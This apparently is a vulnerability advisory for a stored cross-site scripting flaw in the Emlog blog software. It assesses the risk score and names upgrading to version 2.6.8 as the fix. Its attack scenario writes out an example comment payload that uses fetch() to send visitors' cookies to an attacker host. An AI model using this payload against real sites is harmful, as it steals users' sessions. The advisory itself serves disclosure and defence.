Emlog CVE-2026-34229

This vulnerability presents moderate real-world risk. The CVSS v3.1 score of 6.1 reflects network accessibility, low attack complexity, and no privilege requirements, but limited impact (confidentiality and integrity degraded, availability not impaired) and requirement for user interaction. The EPSS score is not provided, limiting probabilistic exploitation assessment. Critically, this is a *stored* XSS (not reflected), meaning the payload persists and affects all visitors viewing the infected comment-increasing impact scope compared to transient XSS. However, the requirement for user interaction (UI:R) to trigger the vulnerability and the publicly disclosed mitigation pathway (upgrade to 2.6.8) reduce urgency. No KEV status or POC availability confirms active exploitation. For Emlog deployments serving sensitive content (e-commerce, authentication, membership sites), this warrants prompt patching; for low-traffic informational sites, risk is lower but remediation is still straightforward.

An attacker crafts a comment containing a malicious URI payload such as 'javascript:fetch("https://attacker.com/steal?cookie="+document.cookie)' and submits it to an Emlog blog. The comment passes validation (due to the URI scheme bypass) and is stored in the database. When other users or administrators view the comment thread, the injected JavaScript executes in their browsers, stealing session cookies or performing actions on their behalf. No special privileges or authentication are required from the attacker; the attack succeeds purely through social engineering (user clicking the malicious link or viewing the infected comment).